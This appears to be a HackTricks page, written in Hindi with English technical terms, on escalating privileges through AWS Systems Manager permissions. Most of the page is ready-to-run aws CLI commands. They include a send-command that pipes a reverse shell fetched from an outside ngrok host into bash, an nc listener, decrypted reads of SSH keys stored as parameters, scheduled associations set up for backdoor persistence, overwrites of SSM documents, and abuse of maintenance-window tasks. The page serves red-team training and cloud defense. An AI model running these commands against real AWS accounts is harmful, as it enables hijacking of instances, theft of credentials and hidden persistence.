AWS - SSM Privesc

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

SSM

SSM के बारे में अधिक जानकारी के लिए देखें:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

ssm:SendCommand अनुमति वाला एक attacker Amazon SSM Agent चला रहे instances में commands execute कर सकता है और उसके अंदर चल रहे IAM Role को compromise कर सकता है।

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

यदि आप इस technique का उपयोग पहले से compromised EC2 instance के अंदर privileges escalate करने के लिए कर रहे हैं, तो आप बस rev shell को locally capture कर सकते हैं:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

संभावित प्रभाव: चल रहे instances पर running SSM Agents के साथ attached EC2 IAM roles तक direct privesc।

ssm:StartSession

ssm:StartSession permission वाला attacker Amazon SSM Agent चलाने वाले instances में SSH-like session start कर सकता है और उसके अंदर चल रहे IAM Role को compromise कर सकता है।

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

एक session शुरू करने के लिए आपको SessionManagerPlugin installed होना चाहिए: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potential Impact: चल रहे instances पर लगे EC2 IAM roles तक direct privesc, जिनमें SSM Agents चल रहे हों।

Privesc to ECS

जब ECS tasks ExecuteCommand enabled के साथ चलते हैं, तो पर्याप्त permissions वाले users ecs execute-command का use करके container के अंदर execute a command कर सकते हैं.
the documentation के अनुसार, यह आपके device, जिससे आप “exec“ command initiate करते हैं, और target container के बीच SSM Session Manager के साथ एक secure channel बनाकर किया जाता है. (यह काम करने के लिए SSM Session Manager Plugin आवश्यक है)
इसलिए, ssm:StartSession वाले users इस option के enabled होने पर सिर्फ यह चलाकर ECS tasks के अंदर shell पा सकेंगे:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potential Impact: ExecuteCommand enabled होने पर running tasks से attached ECSIAM roles तक direct privesc।

ssm:ResumeSession

ssm:ResumeSession permission वाला attacker, Amazon SSM Agent चला रहे instances में disconnected SSM session state के साथ एक SSH like session को re-start कर सकता है और उसमें चल रहे IAM Role को compromise कर सकता है।

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

संभावित प्रभाव: चल रहे instances पर attached EC2 IAM roles तक सीधे privesc, जिनमें SSM Agents चल रहे हों और disconnected sessions हों।

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

उल्लेखित permissions वाला attacker SSM parameters को list करने और उन्हें clear-text में read करने में सक्षम होगा। इन parameters में आप अक्सर sensitive information जैसे SSH keys या API keys पा सकते हैं।

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

संभावित प्रभाव: पैरामीटर्स के अंदर संवेदनशील जानकारी खोजें।

ssm:ListCommands

इस permission वाला attacker भेजे गए सभी commands को list कर सकता है और उम्मीद है कि उनमें संवेदनशील जानकारी मिल जाएगी।

aws ssm list-commands

संभावित प्रभाव: कमांड लाइनों के अंदर संवेदनशील जानकारी खोजें।

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

इन permissions वाला attacker सभी भेजे गए commands को list कर सकता है और generated output को read कर सकता है, जिससे उम्मीद है कि उसमें sensitive information मिल जाएगी।

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

संभावित प्रभाव: कमांड लाइनों के output के भीतर संवेदनशील जानकारी खोजें।

Using ssm:CreateAssociation

ssm:CreateAssociation अनुमति वाला attacker एक State Manager Association बना सकता है ताकि SSM द्वारा managed EC2 instances पर commands automatically execute की जा सकें। इन associations को fixed interval पर run करने के लिए configure किया जा सकता है, जिससे वे interactive sessions के बिना backdoor-like persistence के लिए उपयुक्त बनती हैं।

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

यह persistence method तब तक काम करती है जब तक EC2 instance Systems Manager द्वारा managed है, SSM agent चल रहा है, और attacker के पास associations create करने की permission है। इसके लिए interactive sessions या explicit ssm:SendCommand permissions की आवश्यकता नहीं होती। Important: --schedule-expression parameter (e.g., rate(30 minutes)) को AWS के minimum interval of 30 minutes का पालन करना चाहिए। Immediate या one-time execution के लिए, --schedule-expression को पूरी तरह omit करें — association creation के बाद एक बार execute होगी।

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

ssm:UpdateDocument और ssm:UpdateDocumentDefaultVersion permissions वाला attacker existing documents को modify करके privileges escalate कर सकता है। इससे उस document के भीतर persistence भी संभव हो जाती है। Practical तौर पर attacker को custom documents के names पाने के लिए ssm:ListDocuments भी चाहिए होगा, और अगर attacker किसी existing document के भीतर अपने payload को obfuscate करना चाहता है, तो ssm:GetDocument भी आवश्यक होगा।

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

नीचे एक उदाहरण दस्तावेज़ है जिसका उपयोग किसी मौजूदा दस्तावेज़ को overwrite करने के लिए किया जा सकता है। आप यह सुनिश्चित करना चाहेंगे कि आपके दस्तावेज़ का type target दस्तावेज़ के type से match करे, ताकि innvocation से issues न हों। नीचे दिया गया document, उदाहरण के लिए, ssm:SendCommand और ssm:CreateAssociation examples में काम करेगा।

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

ssm:RegisterTaskWithMaintenanceWindow और ssm:RegisterTargetWithMaintenanceWindow permissions वाला attacker पहले किसी existing maintenance window के साथ एक नया target register करके, फिर एक नया task update/register करके privileges escalate कर सकता है। इससे existing targets पर execution मिलती है, लेकिन नया target register करके अलग-अलग roles वाले compute को compromise करने की भी अनुमति मिल सकती है। इससे persistence भी संभव होती है, क्योंकि maintenance window के दौरान tasks, window creation के समय defined interval पर execute होते हैं। Practical तौर पर attacker को maintenance window IDs पाने के लिए ssm:DescribeMaintenanceWindows की भी जरूरत होगी।

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Codebuild

आप SSM का उपयोग करके build हो रहे codebuild project के अंदर भी जा सकते हैं:

AWS - Codebuild Privesc

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें